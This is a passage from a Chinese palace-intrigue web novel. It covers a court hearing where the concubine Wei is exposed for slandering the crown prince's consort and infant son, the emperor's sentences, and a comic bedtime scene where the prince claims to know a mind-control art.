而据找上这些山贼的人,也就是方才被带上来另一个文官模样的人。
据此人招供,他是威毅候府的人。
威毅候本人在宣府镇任分守参将,爵位是其早年戍边立功挣来的。
而最关键的在于,威毅候之前属睿王一派。
此人是今儿上午审出来的,元隆帝已经派人去宣府“请”威毅候回京了。
至于给金承徽配冥婚的那户农家,说起来则是这件事里的一个巧合。
冥婚在本朝被明令禁止。
皆因本朝敬鬼神而远之,反对怪力乱神之邪术巫术,冥婚一旦被允许,则将致使多项不入流之事猖獗。
譬如盗墓、略尸、违制丧葬等等。
可很多乡下却还是会钻空子,甚至很多人没有意识到事情的严重性。
不仅会做这种事,还会在本村大肆宣扬。
就譬如这户农家。
据威毅候府的那人所言。
他是先打听到了有这么一户人家,才让山贼把金承徽扔到附近的林子里的。
至此,东宫的种种流言真相大白。
魏嫔看似是整件事的主谋,实则却是被幽禁的前睿王骆岷在暗中操控。
这其中自然牵涉到其他很多东西,此时在大殿之中便暂不争论。
而随着威毅候府那人的最后一句话说完,殿中有一刹那诡异的死寂。
稍顷,太子的声音响起。
“庶人魏氏伙同庶人骆岷、郭氏设计盗掘皇室成员墓葬、毁辱臣之妾金氏尸身,造谣生事、妖言惑众。
又收买多方人员诬构臣及臣之妾宋氏清誉,质疑皇室正统血脉,诽谤宗室。”
“请陛下为东宫做主!”
太子撩袍而跪,槛儿随之俯首跪地。
曜哥儿……
曜哥儿“哇”一声,哭声响彻整个大殿。
第232章 “宋槛儿,你爱太子?”
小娃儿的啼哭清脆响亮。
震得原本在为这件事感到唏嘘,想看皇帝会如何裁决的人冷不丁一个激灵。
守着摇车的两位奶娘冷汗瞬间冒了出来,忙不迭抱起小皇孙跪下请罪。
曜哥儿就是哭。
小胳膊使劲朝帝后的方向挥动。
引来众人纷纷侧目。
“抱上来,”裴皇后伸了伸手道。
奶娘丝毫没敢耽误。
顶着一脑门儿的冷汗在众人的注视下从侧方快速绕到上首处。
碧烟小心接过小皇孙,再抱到娘娘跟前。
裴皇后抱过孙子,见胖孙脸上满是眼泪,乌黝黝的眼睛里那叫一个委屈。
裴皇后自是心疼,又是擦眼泪又是哄。
曜哥儿还是哭。
又朝元隆帝扭头,小手往他那边扒拉,嘴里吵嚷着:“哇嘟呼!哇嘟呼!”
殿中原本紧张的气氛就这么在奶娃的啼哭声中变得微妙,大伙儿的注意力都被太子家的长子给吸引了。
骆峋看着儿子,心微微紧了紧。
槛儿可不知道儿子能听懂话,想的就有点多,担心小家伙是不是要拉要尿了,亦或是有别的不舒服。
至于会不会惹恼元隆帝。
她倒不怎么担心。
毕竟皇后娘娘都让抱上去了。
就算元隆帝这会儿没心思哄孙子,多少也得当众给裴皇后几分面子。
元隆帝瞥眼众人的反应,抖抖袖子把胖孙抱过来,沉声问:“哭什么?”
男人这边早先满月宴时,宗亲们便见过圣上对这位东宫大公子的宠了。
眼下自是不以为然。
信王、荣王之前没解禁,倒是没见过。
不过荣王私下里原是东宫一系的人,倒没觉得此情此景有何不可的。
唯独信王。
眼里一闪而过的嫉妒和当初的慎王一模一样。
女眷们此前大多为听说,几乎都没亲眼见过元隆帝对曜哥儿的态度,此时一见不少人顿时心绪复杂。
不过曜哥儿可不管他们的反应。
他只知道他娘太苦了。
都欺负她是孤女,欺负她出身微寒,什么屎盆子都想往他娘头上扣!
曜哥儿太气了,他一定要让皇祖父给他娘做主!给他们一家子做主!
就是皇祖父作甚总喜欢掐着他的腋窝把他举起来抱,这样他都没法撒娇了!
曜哥儿鼓足劲儿,两只小胖手直往元隆帝面前抓,小脸儿都涨红了。
所幸元隆帝懂了他的意思。
把胖孙竖着抱到怀里。
曜哥儿抓住他的龙袍不松手,委屈巴巴地哭着,小嘴儿里乌拉哇啦的。
那模样,任谁看了都觉得小崽子像是在跟元隆帝说话,说的还可能就是跟刚刚殿中发生的事有关的话。
可那怎么可能呢?
不到半岁的幼童哪可能懂大人们在说什么呢,更别说有自己的想法了。
众人只当是凑巧。
殊不知元隆帝却不这么以为。
虽不合时宜,可他还是想到了早先做过的那个梦,想到了先帝爷说的话。
再结合胖孙此刻的行举。
别说元隆帝本就没打算放过魏嫔,东宫的公道与清白他原也要还。
就算东宫真被翻出了什么事,便是为了孙子,元隆帝也要把东宫护住。
毕竟……
本朝得先有太子,才有皇太孙。
这般想着,元隆帝重新将胖孙举起来,不过不是面朝自己,而是面朝众人。
“外界传言曜哥儿非太子亲生,你们好生看看,是或不是太子亲生?”
于是,大伙儿瞧着了格外神奇的一幕。
只见奶娃上一刻还在啼哭,然随着元隆帝的话音落下,他竟是一下子止住了哭声,一双丹凤眼睁得溜圆。
也不怯场,就这般大大方方任人打量。
恭亲王率先开口:“以老臣来看,大公子与太子幼年生得一般无二。”
“恭亲王所言甚是。”
肃亲王抚着胡须颔首道。
“尤其那双凤目,太子的眼睛肖似陛下,小殿下肖似太子又神似陛下。
再观之天庭饱满山根贯顶,紫气凝阁,实为我大靖皇室子孙之气度。”
贤老郡王:“魏庶人方才言说小殿下不似早产孩童,臣倒不以苟同。
诸位可还记得太子幼年足月诞出临至半岁之际,块头可是比小殿下大。”
女眷这边的肃亲王妃接话:“确是如此,太子随了陛下,自小身量便非同寻常。
也是皇后娘娘习武,身子骨极佳才得以足月诞下太子,大公子体格大,这般身量八月过半早产实属正常。”
钱御医收到宣王的眼神示意,接话道:“肃王妃所言甚是,婴孩体量过大,部分不会足月生产是常事。”
有他们开头,其他人不管真心假意也跟着说起了曜哥儿和太子有多肖似。
面相有多好之类的话。
元隆帝不在意他们的真心假意。
收回孙子,他睨向魏嫔。
“你还有何要说?”
魏嫔没什么想说的。
或者说,她想说的其实有很多,但她不会说也不能说,她终究不愿失了体面。
从计划这场戏开始,她下定了决心。
她胸有成竹。
和曾经算计裴玄徽,算计其他人一样,魏嫔以为这些计划将会天衣无缝。
即便中途有变,她也能像从前的很多次那样有惊无险或是化险为夷。
可要说她怕吗?
魏嫔当然怕过。
她的娘家不在京里,她的儿子儿媳鞭长莫及,她的孙儿孙女还没长大成人。
她一旦失败。
他们一大家子便再无翻身的机会。
可开弓没有回头箭。
她想救儿子儿媳出来,想亲眼看到孙子们长
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大,她就必须要动起来。
可惜终归今时不同往日。
她能用的人实在太少,他们能做的也实在太少,所以意外才接二连三。
所以才,大势已去。
魏嫔之前也以为等到这一刻真正来临时,自己可能会崩溃,会歇斯底里。
可怪的是,她此时竟有种莫名的解脱感。
她环视一圈殿中众人。
又看看元隆帝,再看看裴皇后,视线又在太子、槛儿与曜哥儿身上往返。
最后落在抱着曜哥儿的元隆帝身上。
为妾三十年。
她对这个男人始终只有奉迎作戏吗?
不。
魏嫔想,她应该是爱过他的。
年少不知事的彼时,被一个年轻英俊,尊贵无比又战功赫赫的男人宠着。
即便她的理智清楚不能对他动心。
不能爱上他。
她的心跳也会不受控制地为他的靠近而加速,为他的亲近而脸红。
她也曾想,只要他一直宠她,只要他心里有她,做妾她也是满足的。
可惜,他的心里装的只有裴玄徽。
听说他十六岁便与裴玄徽定了亲,他们一起练武,一起跑马,一起上战场。
裴玄徽在他面前能随心所欲,而他不准许任何一个妾对裴玄徽不敬。
他登基时已年近不惑,明明信王那时快及冠了,老二老三也都大了。
他却没有立太子的打算。
明明裴玄徽早被断言今后不能生了,他却仍等着她给他生个嫡子出来。
裴玄徽果然给他生了个嫡子,而他也果然早早就立了那崽子为储。
魏嫔知道,帝王的作为不能以男女情爱来囊括,可谁叫嫉妒乃人性呢。
从那崽子成了太子开始,被她掩藏在内心深处的嫉妒就如同滔滔江水。
她不再对他心动,也不再甘心为妾。
然而妻妾之间的这道鸿沟,她似乎这辈子都不能跨越,她摔得粉身碎骨。
连带她的儿孙一起。
“宋槛儿。”
魏嫔抚了抚鬓角,忽然看向槛儿。
神色平和,声音也平和。
“你爱太子?”
槛儿一怔。
其他人也愣了愣,不懂这个节骨眼儿魏嫔怎么突然问宋良娣这么个问题。
魏嫔没理会他们之中任何一道目光,也没等槛儿应声答话便继续道:
“生得俊美又有权有势身份尊贵的太子独宠你,让你生下他的长子。
又能在众人面前护你周全,为你**,你没法不爱,没法不对他动心吧?”
“可惜,你是妾。”
“退一万步说,将来你能被扶成妻,也会有形形**的妾跟你抢宠争权,是时你回过头来想此时此刻。”
“只会觉得是笑话一场。”
说完,她倏然一笑转向元隆帝,“我无话可说,要杀要剐悉听尊便。”
第233章 震惊!太子竟会摄魂术!
魏嫔被押走了。
以一种出乎意料的、平静的方式离场。
而其所犯罪名包括暗示太子宠妾不清不白、与他人有染,触犯秽乱宫闱罪。
造谣太子无法人道,捏造储君隐疾。
以谋危社稷罪论。
质疑太子长子血脉,污蔑皇嗣。
触犯淆乱宗族罪。
盗掘太子妾墓,损辱其尸身。
犯发冢辱尸罪。
整件事以邪术、谣言、伪证惑乱宫闱者,以魇镇罪论。
皇帝有旨,念魏氏事上多年,孕育皇室血脉有功,故免除诛灭九族,改夷三族。
处魏氏剜舌、凌迟、腰斩之刑。
以儆效尤。
庶人骆岷、郭氏暂下诏狱,不日由大理寺卿、刑部、都察院行三司会审。
具体怎么处置待审过后再定。
至于殿中的一众证人。
给金承徽验身的婆子周翠菊妄称能验腐尸,妖言惑众,私验皇室成员尸身。
凌迟。
虽出了宫且不算编造扯谎,但名义上为东宫旧奴的冯春妮的行为属收受他人贿赂背主求荣、泄旧主隐私。
特削其宫籍记录、良籍,充贱籍。
剩下的人不论赏罚事后再论。
对了。
还有今晚一开始最先当众提出让槛儿与太子出来澄清流言的莹贵人。
莹贵人此前没有与魏嫔接触,也完全不清楚魏嫔那边在筹谋什么。
她会站出来说话,究其原因是魏嫔在其不知情的情况下利用了她的性子。
早早便买通了莹贵人身边的一个贴身宫女,让其时不时就当着莹贵人的面提起宋良娣如何如何。
说的自然是不好的方面。
莹贵人性子傲,又总会在某些事上有着莫名的正义感,于是一来二去。
她对槛儿的印象越来越差。
及至东宫流言爆发,槛儿俨然就成了莹贵人眼里的一粒沙子。
这才有了她今晚的出头。
当然,这事莹贵人起初并没有意识到。
还是元隆帝下了处置魏嫔的旨后问莹贵人有什么话要说的时候,七公主站出来替母妃求情猜到的。
然后一问,果然如此。
然尽管莹贵人是被利用的,可她在家宴上公开将东宫隐私摆出来议论。
涉嫌了挑拨元隆帝与太子的关系,质疑曜哥儿的血统和宗法地位。
元隆帝看在七公主的份上,没将莹贵人贬为庶人,而是降其为最末等的淑女。
那被收买挑事的大宫女,自是被拿下了。
而整件事的始末明日将由翰林院掌院学士起草诏书,帝昭告天下以澄清与东宫相关的一切流言。
等元隆帝下完旨,一众证人都被带下去了,槛儿与太子谢恩回了位置,今晚的这出闹剧算是告一段落了。
也是在这时候大伙儿才想起,万寿节呢,可宴席大家都没吃到一半。
除了凉菜,其他膳早冷了。
可御膳房做的席面都是定量的,重新再做一顿短时间内显然实现不了。
所以他们是要继续就着冷食吃席还是?
所幸在大伙儿踌躇不决之际元隆帝发了话,称寿贺了热闹也看了,他这个生辰过得真是颇具意义。
让众人差不多就散了。
明显皇帝这话带着嘲讽,可他和裴皇后都先走了,其他人留着干嘛?
那就走呗。
于是稀稀拉拉,众人相继出了交泰殿。
横竖都是自家人,男女大防也早撤了,大伙儿便没像之前刻板地守着规矩。
太子和信王他们一道出来在另一侧说话,槛儿和宣王妃她们就在这边。
“今晚你受累了,回去了早些歇息吧,”宣王妃拍拍槛儿的手道。
荣王妃和慎王妃也关怀了两句,槛儿向她们道了谢又寒暄了两句。
临走之际槛儿忽然感觉袖子被人扯了扯,回头一看竟是韶宁郡主。
旁边站着韶安郡主。
“郡主可是有事?”槛儿冲韶安郡主打了招呼,再转向韶宁,疑惑道。
韶宁郡主一脸复杂,“你几月生辰?”
槛儿不觉得自己跟韶宁郡主的关系已经好到可以询问生辰的地步了。
不过她还是答道:“二月底。”
韶宁郡主瞪大眼。
“你比我小?!”
槛儿:“?”
韶安郡主在旁笑道:“我们是正月底,宋良娣比我们正好小一个月。”
“好吧好吧。”
韶宁郡主一言难尽地说。
“你也是个苦命的,我以后不针对你了,不过你也不要得寸进尺啊,我是亲王郡主,你只是六皇叔的妾……”
剩下的话被韶安郡主一胳膊肘给拐没了,韶宁郡主痛苦地捂着腰子。
韶安郡主稍有些尴尬地对槛儿道:“她胡说的,宋良娣勿要放在心上。”
槛儿没放在心上。
就是心情也挺复杂。
她无意拿以前的事来博谁的同情,却没想到韶宁郡主会是这个态度。
她可没忘上辈子信王一家的下场,也不知经过今日前睿王的事信王会作何想。
若对方最终还是要走上辈子的路,那她现在最好不要跟这两位走太近。
哪怕她们此时没有恶意。
曜哥儿被奶娘抱了出来,支棱这小身子往这边扑,槛儿伸手接过儿子。
韶宁郡主可还记得自己被小崽子喷口水,及至现在还在受罚的事。
这梁子可是结得不小。
于是韶宁郡主先往她太子皇叔那边瞅了瞅,然后去戳曜哥儿的胳膊。
“瞧你胖的,胳膊都一节一节的了。”
曜哥儿才不要她戳呢。
膀子一甩,发出“啊噗啊噗”的声音。
韶宁郡主以为他又要喷她,当即护着脸往后跳,嘴里“啊啊”大叫。
太子跟信王几兄弟闻声望过来,女眷们也都看着,信王妃见状没好气。
韶宁郡主被斥了才发现曜哥儿没喷口水,她的脸登时青一阵红一阵。<
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br>曜哥儿又“啊噗”一声,再转身抱住娘的脖子,一副懒得搭理的模样。
可把韶宁气得不轻。
韶安郡主:“堂弟才多大,能懂什么?你也好意思跟这么点儿孩子计较。”
能懂什么?
韶宁郡主觉得这臭崽子懂得可多了,没见他把皇祖父给哄成啥样了吗?!
可惜,太子皇叔在那边盯着。
父王母妃也都盯着她。
刚刚叫那几声这趟回去定少不了吃排揎,再敢搞什么名堂她估计死定了!
没办法,韶宁只能把这窝囊气给忍了。
回了东宫,太子还有事要处理,槛儿带着路上睡着了的曜哥儿先回永煦院。
家宴上的阵仗这么大,各个地方的宫人自然也听到了一些风声。
小福子在外收到消息的第一时间,就回来跟瑛姑姑她们通了气。
也因此槛儿回来后,瑛姑姑和跳珠、寒酥她们便上来好一番关切。
槛儿趁沐浴的当头将今晚的情况大致和她们说了说,不过有关她在董家经历的一些事槛儿就没说了。
事情已经解决了,有些事没必要再说出来让身边人为自己打抱不平。
收拾完上了榻躺下,槛儿有种身心俱疲之后终于活过来的感觉。
在大殿的时候没心思感触,这会儿回想起和董家人时隔八年的重逢。
槛儿颇觉恍然如梦。
尤其董茂生……
那人今晚的表现和反应挺让槛儿意外的,毕竟那晚仅仅是在街上认出了她,对方就追着马车喊她。
槛儿先前担心的便是他这个不定因素,况且董茂生还很听陈月娥的话。
又是一根筋且傻乎乎的性子,意识不到事情的利害关系,就不会自主选择立场,只有太子让人干涉。
可太子是怎么让董茂生和陈月娥唱反调的?
董茂生又不懂这些。
想了会儿没想明白,于是一个时辰后等太子来了槛儿便将此问了出来。
骆峋平躺着一手揽着她的肩头,闻言薄唇抿了抿,没有马上回她。
熄了几盏大灯,帐子里光线不怎么好。
槛儿没看清他的表情,便当他累极不想说话。
也确实该累了。
短短两天的时间董家人要控制,金承徽尸身被盗一案要查,那么多证人要审,还要搜集查证那么多的证据。
接下来还有前睿王的残党要解决。
高敬璋一门的影响又还在持续,这个节骨眼前睿王的事再一摆上来,朝中必定会再次掀起一阵动荡。
于是槛儿没再追问,也没说别的话扰他,就抱着他闭眼安静酝酿睡意。
骆峋眸光下移。
顿了顿,他突然出声:“祝由科。”
槛儿“唰”地睁眼抬头。
骆峋睨她一眼,又收回视线望着帐顶。
“祝由科摄魂术,孤会。”
槛儿:“???!!!”
槛儿“腾”地挺坐起来,差点把腰给闪了!